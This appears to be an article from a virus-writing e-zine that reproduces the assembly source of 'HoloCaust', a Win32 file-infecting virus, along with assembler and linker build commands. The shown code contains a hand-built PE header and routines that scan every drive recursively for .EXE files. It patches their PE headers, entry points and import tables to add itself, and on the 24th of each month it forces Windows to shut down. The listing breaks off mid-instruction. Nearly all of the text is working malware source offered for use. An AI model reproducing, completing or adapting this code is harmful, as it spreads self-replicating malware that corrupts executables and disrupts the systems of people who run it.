last article | table of contents | next article |
---|
HoloCaust by Energy
file holocaust.asm:
;Virus Name: HoloCaust ;Designer: Energy ;E-mail:SST@Hablas.com ; ;beta Version 1.12 ; ;To Make file HoloCaust.asm ;Turbo Assembler:tasm /m /m3 holocaust.asm ;Turbo Link:tlink /3 /t holocaust.obj ;------------------------------------------------------------------------------------------- .386P NULL=0h OPEN_EXISTING=3h GENERIC_READ=80000000h GENERIC_WRITE=40000000h FILE_BEGIN=0h FILE_CURRENT=1h FILE_END=2h e_ifanew=03ch FILE_ATTRIBUTE_ARCHIVE=20h FILE_ATTRIBUTE_DIRECTORY=10h CODE SEGMENT ASSUME CS:CODE,DS:CODE ORG 100H Start: A00000000: DB 04DH,05AH,090H,000H,003H,000H,000H,000H,004H,000H,000H,000H,0FFH,0FFH,000H,000H A00000010: DB 0B8H,000H,000H,000H,000H,000H,000H,000H,040H,000H,000H,000H,000H,000H,000H,000H A00000020: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000030: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,0B0H,000H,000H,000H A00000040: DB 00EH,01FH,0BAH,00EH,000H,0B4H,009H,0CDH,021H,0B8H,001H,04CH,0CDH,021H,"(" ,"c" A00000050: DB ")" ," " ,"b" ,"y" ," " ,"E" ,"n" ,"e" ,"r" ,"g" ,"y" A00000080: DB 05DH,017H,01DH,0DBH,019H,076H,073H,088H,019H,076H,073H,088H,019H,076H,073H,088H A00000090: DB 019H,076H,073H,088H,01EH,076H,073H,088H,0E5H,056H,061H,088H,018H,076H,073H,088H A000000A0: DB 052H,069H,063H,068H,019H,076H,073H,088H,000H,000H,000H,000H,000H,000H,000H,049H A000000B0: DB 050H,045H,000H,000H,04CH,001H,004H,000H,0BAH,063H,03DH,037H,000H,000H,000H,000H A000000C0: DB 000H,000H,000H,000H,0E0H,000H,00FH,001H,00BH,001H,005H,00CH,000H,002H,000H,000H A000000D0: DB 000H,004H,000H,000H,000H,000H,000H,000H,000H,040H,000H,000H,000H,010H,000H,000H A000000E0: DB 000H,020H,000H,000H,000H,000H,040H,000H,000H,010H,000H,000H,000H,002H,000H,000H A000000F0: DB 004H,000H,000H,000H,000H,000H,000H,000H,004H,000H,000H,000H,000H,000H,000H,000H A00000100: DB 000H,040H,000H,000H,000H,004H,000H,000H,000H,000H,000H,000H,002H,000H,000H,000H A00000110: DB 000H,000H,010H,000H,000H,010H,000H,000H,000H,000H,010H,000H,000H,010H,000H,000H A00000120: DB 000H,000H,000H,000H,010H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000130: DD New_Imoprt_Descridtor-Virus_Code+4000H DB 03CH,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000140: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000150: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000160: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000170: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000180: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,020H,000H,000H,010H,000H,000H,000H A00000190: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000001A0: DB 000H,000H,000H,000H,000H,000H,000H,000H,02EH,074H,065H,078H,074H,000H,000H,000H A000001B0: DB 026H,000H,000H,000H,000H,010H,000H,000H,000H,002H,000H,000H,000H,004H,000H,000H A000001C0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,020H,000H,000H,060H A000001D0: DB 02EH,072H,064H,061H,074H,061H,000H,000H,092H,000H,000H,000H,000H,020H,000H,000H A000001E0: DB 000H,002H,000H,000H,000H,006H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000001F0: DB 000H,000H,000H,000H,040H,000H,000H,040H,02EH,064H,061H,074H,061H,000H,000H,000H A00000200: DB 032H,000H,000H,000H,000H,030H,000H,000H,000H,002H,000H,000H,000H,008H,000H,000H A00000210: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,040H,000H,000H,0C0H A00000220: DB 02EH,"H", "o" ,"l" ,"o" ,"c" ,"a" ,"u" ,"s" ,"t" ,02EH,02EH,02EH,02EH,000H,010H,000H,000H,000H,040H,000H,000H A00000230: DB 000H,010H,000H,000H,000H,00AH,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000240: DB 000H,000H,000H,000H,020H,000H,000H,060H,000H,000H,000H,000H,000H,000H,000H,000H A00000250: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000260: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000270: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000280: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000290: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000002A0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000002B0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000002C0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000002D0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000002E0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000002F0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000300: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000310: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000320: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000330: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000340: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000350: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000360: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000370: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000380: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000390: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000003A0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000003B0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000003C0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000003D0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000003E0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000003F0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000400: DB 06AH,000H,068H,000H,030H,040H,000H,068H,019H,030H,040H,000H,06AH,000H,0E8H,00DH A00000410: DB 000H,000H,000H,06AH,000H,0E8H,000H,000H,000H,000H,0FFH,025H,000H,020H,040H,000H A00000420: DB 0FFH,025H,008H,020H,040H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000430: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000440: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000450: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000460: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000470: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000480: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000490: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000004A0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000004B0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000004C0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000004D0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000004E0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000004F0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000500: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000510: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000520: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000530: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000540: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000550: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000560: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000570: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000580: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000590: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000005A0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000005B0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000005C0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000005D0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000005E0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000005F0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000600: DB 05CH,020H,000H,000H,000H,000H,000H,000H,078H,020H,000H,000H,000H,000H,000H,000H A00000610: DB 04CH,020H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,06AH,020H,000H,000H A00000620: DB 000H,020H,000H,000H,054H,020H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000630: DB 086H,020H,000H,000H,008H,020H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000640: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,05CH,020H,000H,000H A00000650: DB 000H,000H,000H,000H,078H,020H,000H,000H,000H,000H,000H,000H,075H,000H,045H,078H A00000660: DB 069H,074H,050H,072H,06FH,063H,065H,073H,073H,000H,04BH,045H,052H,04EH,045H,04CH A00000670: DB 033H,032H,02EH,064H,06CH,06CH,000H,000H,0BBH,001H,04DH,065H,073H,073H,061H,067H A00000680: DB 065H,042H,06FH,078H,041H,000H,055H,053H,045H,052H,033H,032H,02EH,064H,06CH,06CH A00000690: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000006A0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000006B0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000006C0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000006D0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000006E0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000006F0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000700: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000710: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000720: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000730: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000740: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000750: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000760: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000770: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000780: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000790: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000007A0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000007B0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000007C0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000007D0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000007E0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000007F0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000800: DB "T" ,"h" ,"i" ,"s" ," " ,"i" ,"s" ," " ,"a" ," " ,"b" ,"e" ,"t" ,"a" ," " ,"v" A00000810: DB "i" ,"r" ,"u" ,"s" ,"!" ,"!" ,"!" ,"!" ,000H,"T" ,"h" ,"a" ,"n" ,"k" ," " ,"y" A00000820: DB "o" ,"u" ,"!" ,"!" ," " ," " ,"(" ,"c" ,")" ," " ,"E" ,"n" ,"e" ,"r" ,"g" ,"y" A00000830: DB " " ,"!" ,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000840: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000850: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000860: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000870: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000880: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000890: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000008A0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000008B0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000008C0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000008D0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000008E0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000008F0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000900: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000910: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000920: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000930: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000940: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000950: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000960: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000970: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000980: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000990: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000009A0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000009B0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000009C0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000009D0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000009E0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A000009F0: DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H A00000A00: Virus_Code=$;Virus start here call Relocation InfectFileName=$ Driver db "b" db 260 dup (0) Relocation: pop ebp sub ebp,5 mov eax,[ImageBase-Virus_Code+ebp] add eax,[AddressOfEnterPoint-Virus_Code+ebp] mov [This_Host_EntryPoint-Virus_Code+ebp],eax call dword ptr [GetLogicalDrives-Virus_Code+ebp] mov ecx,32;eax is 32 bit mov edx,0 Count_Driver: mov ebx,eax and ebx,1b add edx,ebx rcr eax,1 loop Count_Driver sub edx,2 mov ecx,edx mov byte ptr [Driver-Virus_Code+ebp],"b" start at c:(b+1) Next_Driver: add byte ptr [Driver-Virus_Code+ebp],1 lea ebx,[InfectFileName-Virus_Code+ebp] mov eax,002a5c3ah mov [ebx+1],eax add ebx,3 push edx push ecx mov [Save_esp-Virus_Code+ebp],esp call Infect_This_Driver We_Had_Infect_One: mov esp,[Save_esp-Virus_Code+ebp] pop ecx pop edx loop Next_Driver lea eax,[SystemTime-Virus_Code+ebp] push eax call dword ptr [GetSystemTime-Virus_Code+ebp] cmp word ptr [wDay-Virus_Code+ebp],24 jnz Jmp_To_Host push 0 push 4 call dword ptr [ExitWindowsEx-Virus_Code+ebp] push 0 call dword ptr [ExitProcess-Virus_Code+ebp] Jmp_To_Host: mov eax,[This_Host_EntryPoint-Virus_Code+ebp] PUSH eax RET This_Host_EntryPoint dd ? Save_Espdd ? Infect_This_Driver proc call Enter_FindAndInfect ret Infect_This_Driver endp Enter_FindAndInfect proc lea eax,[Virus_WIN32_FIND_DATA-Virus_Code+ebp] push eax lea eax,[InfectFileName-Virus_Code+ebp] push eax call dword ptr [FindFirstFileA-Virus_Code+ebp] push eax cmp eax,0ffffffffh jz Find_Exit next: push ebx cmp byte ptr [cFileName-Virus_Code+ebp],"." jz Management_OK lea ecx,[cFileName-Virus_Code+ebp] Again: mov dl,[ecx] mov [ebx],dl add ecx,1 add ebx,1 cmp dl,0 jnz Again cmp dword ptr [dwFileAttributes-Virus_Code+ebp],FILE_ATTRIBUTE_DIRECTORY jnz IsAFile mov eax,"*.*\" mov [ebx-1],eax mov [ebx+3],byte ptr 0 call Enter_FindAndInfect jmp Management_OK ISAfile: cmp dword ptr [ebx-5],"EXE." jz Is_A_EXE_File cmp dword ptr [ebx-5],"exe." jz Is_A_EXE_File jmp Management_OK Is_A_EXE_file: call Infect_File cmp eax,012345678h Infect_File jz We_Had_Infect_One recursion Management_OK: pop ebx pop ecx push ecx lea eax,[Virus_WIN32_FIND_DATA-Virus_Code+ebp] push eax push ecx call dword ptr [FindNextFileA-Virus_Code+ebp] cmp eax,0 jnz next Find_Exit: pop eax ret Enter_FindAndInfect endp Infect_File proc near push FILE_ATTRIBUTE_ARCHIVE lea eax,[InfectFileName-Virus_Code+ebp] push eax call dword ptr [SetFileAttributesA-Virus_Code+ebp] push NULL push NULL push OPEN_EXISTING push 0 push 0 push GENERIC_READ+GENERIC_WRITE lea eax,[InfectFileName-Virus_Code+ebp] push eax call dword ptr [CreateFileA-Virus_Code+ebp] cmp eax,0ffffffffh jz InfectFile_Exit mov [HandleFile-Virus_Code+ebp],eax push FILE_BEGIN push 0 push e_ifanew push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [SetFilePointer-Virus_Code+ebp] push NULL lea eax,[DoWriteOrRead-Virus_Code+ebp] push eax push 4 lea eax,[NT_Header-Virus_Code+ebp] push eax push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [ReadFile-Virus_Code+ebp] mov eax,[NT_Header-Virus_Code+ebp] sub eax,1 push FILE_BEGIN push 0 push eax push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [SetFilePointer-Virus_Code+ebp] push NULL lea eax,[DoWriteOrRead-Virus_Code+ebp] push eax push 4 lea eax,[PE_Signature-Virus_Code+ebp] push eax push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [ReadFile-Virus_Code+ebp] cmp dword ptr [PE_Signature-Virus_Code+ebp],00455000h jnz InfectFile_Exit mov eax,[NT_Header-Virus_Code+ebp] add eax,6 mov [Point_NumberOfSection-Virus_Code+ebp],eax push FILE_BEGIN push 0 push dword ptr [Point_NumberOfSection-Virus_Code+ebp] push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [SetFilePointer-Virus_Code+ebp] push NULL lea eax,[DoWriteOrRead-Virus_Code+ebp] push eax push 2 lea eax,[NumberOfSection-Virus_Code+ebp] push eax push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [ReadFile-Virus_Code+ebp] mov eax,[NT_Header-Virus_Code+ebp] add eax,20 mov [Point_SizeOfOptionalHeader-Virus_Code+ebp],eax push FILE_BEGIN push 0 push dword ptr [Point_SizeOfOptionalHeader-Virus_Code+ebp] push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [SetFilePointer-Virus_Code+ebp] push NULL lea eax,[DoWriteOrRead-Virus_Code+ebp] push eax push 2 lea eax,[SizeOfOptionalHeader-Virus_Code+ebp] push eax push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [ReadFile-Virus_Code+ebp] mov eax,[NT_Header-Virus_Code+ebp] add eax,40 mov [Point_AddressOfEnterPoint-Virus_Code+ebp],eax push FILE_BEGIN push 0 push dword ptr [Point_AddressOfEnterPoint-Virus_Code+ebp] push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [SetFilePointer-Virus_Code+ebp] push NULL lea eax,[DoWriteOrRead-Virus_Code+ebp] push eax push 4 lea eax,[AddressOfEnterPoint-Virus_Code+ebp] push eax push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [ReadFile-Virus_Code+ebp] mov eax,[NT_Header-Virus_Code+ebp] add eax,52 mov [Point_ImageBase-Virus_Code+ebp],eax push FILE_BEGIN push 0 push dword ptr [Point_ImageBase-Virus_Code+ebp] push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [SetFilePointer-Virus_Code+ebp] push NULL lea eax,[DoWriteOrRead-Virus_Code+ebp] push eax push 4 lea eax,[ImageBase-Virus_Code+ebp] push eax push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [ReadFile-Virus_Code+ebp] mov eax,[NT_Header-Virus_Code+ebp] add eax,80 mov [Point_SizeOfImage-Virus_Code+ebp],eax push FILE_BEGIN push 0 push dword ptr [Point_SizeOfImage-Virus_Code+ebp] push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [SetFilePointer-Virus_Code+ebp] push NULL lea eax,[DoWriteOrRead-Virus_Code+ebp] push eax push 4 lea eax,[SizeOfImage-Virus_Code+ebp] push eax push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [ReadFile-Virus_Code+ebp] mov eax,[NT_Header-Virus_Code+ebp] add eax,128 mov [Point_ImportTable-Virus_Code+ebp],eax push FILE_BEGIN push 0 push dword ptr [Point_ImportTable-Virus_Code+ebp] push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [SetFilePointer-Virus_Code+ebp] push NULL lea eax,[DoWriteOrRead-Virus_Code+ebp] push eax push 4 lea eax,[ImportTable-Virus_Code+ebp] push eax push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [ReadFile-Virus_Code+ebp] mov eax,[SizeOfImage-Virus_Code+ebp] mov [SVirtualAddress-Virus_Code+ebp],eax push FILE_END push 0 push 0 push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [SetFilePointer-Virus_Code+ebp] add eax,200h-1h and eax,011111111111111111111111000000000b mov [PointerToRawData-Virus_Code+ebp],eax mov ebx,0 mov bx,[SizeOfOptionalHeader-Virus_Code+ebp] add ebx,[NT_Header-Virus_Code+ebp] add ebx,24;PE header size mov eax,0 mov ax,[NumberOfSection-Virus_Code+ebp] mov ecx,40 mul ecx add eax,ebx mov [Point_AEmptySectionTable-Virus_Code+ebp],eax FindAgain: push FILE_BEGIN push 0 push ebx;ebx->Section Header start push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [SetFilePointer-Virus_Code+ebp] add ebx,40 push NULL lea eax,[DoWriteOrRead-Virus_Code+ebp] push eax push 24;read 24 byte lea eax,[HostSectionTable-Virus_Code+ebp] push eax push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [ReadFile-Virus_Code+ebp] mov eax,[ImportTable-Virus_Code+ebp] sub eax,[HostSVirtualAddress-Virus_Code+ebp] cmp eax,[HostSVirtualSize-Virus_Code+ebp] jnb FindAgain;NoInThisSection add eax,[HostPointerToRawData-Virus_Code+ebp] mov [Point_FileOffsetImportTable-Virus_Code+ebp],eax jmp WeGotIt HostSectionTable=$ HostNameSectiondb 8 dup(?) HostSVirtualSize dd ? HostSVirtualAddressdd ? HostSizeOfRawData dd ? HostPointerToRawDatadd ? WeGotIt: mov ecx,24 lea esi,[Fix_Data-Virus_Code+ebp] lea edi,[Move_Data-Virus_Code+ebp] mov ebx,[SizeOfImage-Virus_Code+ebp] Move_Add_Again: mov eax,[esi] add eax,ebx mov [edi],eax add esi,4 add edi,4 loop Move_Add_Again mov dword ptr [Zero_KERNEL32-Virus_Code+ebp],0 mov dword ptr [Zero_USER32-Virus_Code+ebp],0 push FILE_BEGIN push 0 push dword ptr [Point_FileOffsetImportTable-Virus_Code+ebp] push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [SetFilePointer-Virus_Code+ebp] push NULL lea eax,[DoWriteOrRead-Virus_Code+ebp] push eax push 600;30 DLL lea eax,[HostImportData-Virus_Code+ebp] push eax push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [ReadFile-Virus_Code+ebp] mov ax,[NumberOfSection-Virus_Code+ebp] add ax,1 mov [Infected_NumberOfSection-Virus_Code+ebp],ax push FILE_BEGIN push 0 push dword ptr [Point_NumberOfSection-Virus_Code+ebp] push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [SetFilePointer-Virus_Code+ebp] push NULL lea eax,[DoWriteOrRead-Virus_Code+ebp] push eax push 2 lea eax,[Infected_NumberOfSection-Virus_Code+ebp] push eax push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [WriteFile-Virus_Code+ebp] mov eax,[SizeOfImage-Virus_Code+ebp] mov [Infected_AddressOfEnterPoint-Virus_Code+ebp],eax push FILE_BEGIN push 0 push dword ptr [Point_AddressOfEnterPoint-Virus_Code+ebp] push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [SetFilePointer-Virus_Code+ebp] push NULL lea eax,[DoWriteOrRead-Virus_Code+ebp] push eax push 4 lea eax,[Infected_AddressOfEnterPoint-Virus_Code+ebp] push eax push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [WriteFile-Virus_Code+ebp] mov eax,[SizeOfImage-Virus_Code+ebp] add eax,1000h mov [Infected_SizeOfImage-Virus_Code+ebp],eax push FILE_BEGIN push 0 push dword ptr [Point_SizeOfImage-Virus_Code+ebp] push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [SetFilePointer-Virus_Code+ebp] push NULL lea eax,[DoWriteOrRead-Virus_Code+ebp] push eax push 2 lea eax,[Infected_SizeOfImage-Virus_Code+ebp] push eax push dword ptr [HandleFile-Virus_Code+ebp] call dword ptr [WriteFile-Virus_Code+ebp] mov eax,[Infected_AddressOfEnterPoint-Virus_Code+ebp] add eax,New_Imoprt_Descridtor-Virus_Code mov [Infected_ImportTable-Virus_Code+ebp],eax push FILE_BEGIN push 